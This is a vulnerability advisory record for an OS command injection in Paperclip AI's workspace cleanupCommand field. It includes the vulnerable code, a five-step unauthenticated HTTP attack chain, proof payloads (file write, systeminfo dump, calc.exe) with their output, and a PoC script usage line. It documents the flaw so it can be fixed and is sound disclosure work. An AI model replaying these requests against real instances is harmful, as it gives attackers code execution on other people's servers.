{"id":"GHSA-vr7g-88fq-vhq3","aliases":[],"url":"https://o3.security/vulnerability/GHSA-vr7g-88fq-vhq3","summary":"Paperclip: OS Command Injection via Execution Workspace cleanupCommand","details":"| Field | Value |\n|-------|-------|\n| **Affected Software** | Paperclip AI v2026.403.0 |\n| **Affected Component** | Execution Workspace lifecycle (`workspace-runtime.ts`) |\n| **Affected Endpoint** | `PATCH /api/execution-workspaces/:id` |\n| **Deployment Modes** | All — `local_trusted` (zero auth), `authenticated` (any company user) |\n| **Platforms** | Linux, macOS, Windows (with Git installed) |\n| **Date** | 2026-04-13 |\n\n---\n\n## Executive Summary\n\nA critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the `cleanupCommand` field via the `PATCH /api/execution-workspaces/:id` endpoint. When the workspace is archived, the server executes this command verbatim via `child_process.spawn(shell, [\"-c\", cleanupCommand])` with no input validation or sanitization. In `local_trusted` mode (the default for desktop installations), this requires zero authentication.\n\nThree independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (`systeminfo`), and GUI application launch (`calc.exe`).\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code Path\n\n**`server/src/services/workspace-runtime.ts` (line ~738)**\n\nThe `cleanupExecutionWorkspaceArtifacts()` function iterates over cleanup commands from workspace config and executes each via shell:\n\n```typescript\n// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()\nfor (const command of cleanupCommands) {\n  await recordWorkspaceCommandOperation(ws, command, ...);\n}\n\n// recordWorkspaceCommandOperation() →\nconst shell = resolveShell();  // process.env.SHELL || \"sh\"\nspawn(shell, [\"-c\", command]);\n```\n\n### Missing Input Validation\n\n**`server/src/routes/execution-workspaces.ts` — PATCH handler**\n\nThe PATCH endpoint accepts a `config` object containing `cleanupCommand` with no validation:\n\n```\nPATCH /api/execution-workspaces/:id\nBody: { \"config\": { \"cleanupCommand\": \"<ARBITRARY_COMMAND>\" } }\n```\n\nThe `cleanupCommand` value is stored directly in workspace metadata and later passed to `spawn()` without sanitization, allowlisting, or escaping.\n\n### Shell Resolution\n\n**`resolveShell()`** returns `process.env.SHELL` or falls back to `\"sh\"`:\n\n- **Linux/macOS**: `/bin/sh` exists natively — commands execute immediately\n- **Windows**: `sh.exe` is available via Git for Windows (`C:\\Program Files\\Git\\bin\\sh.exe`) — Paperclip requires Git, so `sh` is present on most installations\n\n---\n\n## Attack Chain\n\nThe exploit requires 5 HTTP requests with zero authentication in `local_trusted` mode:\n\n### Step 1 — Find a Company\n\n```http\nGET /api/companies HTTP/1.1\nHost: 127.0.0.1:3100\n```\n\n```json\n[{\"id\": \"59e9248b-...\", \"name\": \"Hello\", ...}]\n```\n\n### Step 2 — Find an Execution Workspace\n\n```http\nGET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1\nHost: 127.0.0.1:3100\n```\n\n```json\n[{\"id\": \"da078b2d-...\", \"name\": \"HEL-1\", \"status\": \"active\", ...}]\n```\n\n### Step 3 — Reactivate Workspace (if archived/failed)\n\n```http\nPATCH /api/execution-workspaces/da078b2d-... HTTP/1.1\nHost: 127.0.0.1:3100\nContent-Type: application/json\n\n{\"status\": \"active\"}\n```\n\n### Step 4 — Inject cleanupCommand (Command Injection)\n\n```http\nPATCH /api/execution-workspaces/da078b2d-... HTTP/1.1\nHost: 127.0.0.1:3100\nContent-Type: application/json\n\n{\"config\": {\"cleanupCommand\": \"echo RCE_PROOF > \\\"/tmp/rce-proof.txt\\\"\"}}\n```\n\nResponse confirms storage:\n```json\n{\"id\": \"da078b2d-...\", \"config\": {\"cleanupCommand\": \"echo RCE_PROOF > \\\"/tmp/rce-proof.txt\\\"\"}, ...}\n```\n\n### Step 5 — Trigger RCE (Archive Workspace)\n\n```http\nPATCH /api/execution-workspaces/da078b2d-... HTTP/1.1\nHost: 127.0.0.1:3100\nContent-Type: application/json\n\n{\"status\": \"archived\"}\n```\n\nThis triggers `cleanupExecutionWorkspaceArtifacts()` which calls:\n```\nspawn(shell, [\"-c\", \"echo RCE_PROOF > \\\"/tmp/rce-proof.txt\\\"\"])\n```\n\nThe injected command is executed with the privileges of the Paperclip server process.\n\n---\n\n## Authentication Bypass by Deployment Mode\n\n### `local_trusted` Mode (Default Desktop Install)\n\nEvery HTTP request is auto-granted full admin privileges with zero authentication:\n\n```typescript\n// middleware/auth.ts\nreq.actor = {\n  type: \"board\",\n  userId: \"local-board\",\n  isInstanceAdmin: true,\n  source: \"local_implicit\"\n};\n```\n\nThe `boardMutationGuard` middleware is also bypassed:\n\n```typescript\n// middleware/board-mutation-guard.ts (line 55)\nif (req.actor.source === \"local_implicit\" || req.actor.source === \"board_key\") {\n  next();\n  return;\n}\n```\n\n### `authenticated` Mode\n\nAny user with company access can exploit this vulnerability. The `assertCompanyAccess` check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.\n\n---\n\n## Proof of Concept — 3 Independent RCE Proofs (Windows 11)\n\nAll proofs executed via the automated PoC script `poc_paperclip_rce.py`.\n\n### Proof 1: Arbitrary File Write\n\n**Payload:** `echo RCE_PROOF_595c04f7 > \"%TEMP%\\rce-proof-595c04f7.txt\"`\n\n**Result:**\n```\n  +================================================+\n  |  VULNERABLE - Arbitrary Code Execution!         |\n  |  cleanupCommand was executed on the server      |\n  +================================================+\n\n  Proof file: %TEMP%\\rce-proof-595c04f7.txt\n  Content:    RCE_PROOF_595c04f7\n  Platform:   Windows 11\n```\n\n### Proof 2: System Command Execution (Data Exfiltration)\n\n**Payload:** `systeminfo > \"%TEMP%\\rce-sysinfo-595c04f7.txt\"`\n\n**Result:**\n```\n  +================================================+\n  |  System command output captured!                |\n  +================================================+\n\n  Host Name:                     [REDACTED]\n  OS Name:                       Microsoft Windows 11 Home\n  OS Version:                    10.0.26200 N/A Build 26200\n  OS Manufacturer:               Microsoft Corporation\n  Registered Owner:              [REDACTED]\n  Product ID:                    [REDACTED]\n  System Manufacturer:           [REDACTED]\n  System Model:                  [REDACTED]\n  System Type:                   x64-based PC\n  ... (72 total lines of system information)\n```\n\n### Proof 3: GUI Application Launch (calc.exe)\n\n**Payload:** `calc.exe`\n\n**Result:**\n```\n  +================================================+\n  |  calc.exe launched! Check your taskbar.         |\n  |  This is server-side code execution.            |\n  +================================================+\n```\n\nWindows Calculator was launched on the host system by the Paperclip server process.\n\n---\n\n## Impact Assessment\n\n| Impact | Description |\n|--------|-------------|\n| **Remote Code Execution** | Arbitrary commands execute as the Paperclip server process |\n| **Data Exfiltration** | Full system info, environment variables, files readable by server process |\n| **Lateral Movement** | Attacker can install tools, pivot to internal network |\n| **Supply Chain** | Workspaces contain source code — attacker can inject backdoors into repositories |\n| **Persistence** | Attacker can create scheduled tasks, install reverse shells |\n| **Privilege Escalation** | Server may run with elevated privileges; attacker inherits them |\n\n### Attack Scenarios\n\n1. **Desktop user (local_trusted)**: Any process or malicious web page making local HTTP requests to `127.0.0.1:3100` can achieve RCE with zero authentication\n2. **Team deployment (authenticated)**: Any employee with Paperclip access can compromise the server and all repositories managed by it\n3. **Chained attack**: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network\n\n\n---\n\n## Remediation Recommendations\n\n### Immediate (Critical)\n\n1. **Input validation**: Reject or sanitize `cleanupCommand` and `teardownCommand` fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution.\n\n2. **Command allowlisting**: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., `git clean`, `rm -rf <workspace_dir>`).\n\n3. **Use `execFile` instead of `spawn` with shell**: Replace `spawn(shell, [\"-c\", command])` with `execFile()` using an argument array, which prevents shell metacharacter injection.\n\n### Short-term\n\n4. **Authorization check**: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration.\n\n5. **Separate config fields**: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands.\n\n### Long-term\n\n6. **Sandboxed execution**: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges.\n\n7. **Audit logging**: Log all modifications to command fields for forensic analysis.\n\n8. **Security review**: Audit all `spawn`, `exec`, and `execFile` calls across the codebase for similar injection patterns.\n\n---\n\n## Proof of Concept Script\n## Script\n[poc_paperclip_rce.py](https://github.com/user-attachments/files/26697937/poc_paperclip_rce.py)\n\nThe full automated PoC is available as `poc_paperclip_rce.py`. It:\n\n- Auto-detects deployment mode and skips auth for `local_trusted`\n- Discovers company and workspace automatically\n- Reactivates failed/archived workspaces\n- On Windows, auto-locates `sh.exe` from Git and restarts Paperclip if needed\n- Runs 3 independent RCE proofs: file write, systeminfo, calc.exe\n- Works on Linux, macOS, and Windows\n\n**Usage:**\n```bash\npython poc_paperclip_rce.py --target http://127.0.0.1:3100\n```","published":"2026-04-16T22:48:09Z","modified":"2026-04-16T23:06:10.033631Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@paperclipai/server","fixedVersion":"2026.416.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/paperclipai/paperclip/security/advisories/GHSA-vr7g-88fq-vhq3"},{"type":"PACKAGE","url":"https://github.com/paperclipai/paperclip"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-04-16T23:06:10.033631Z"}}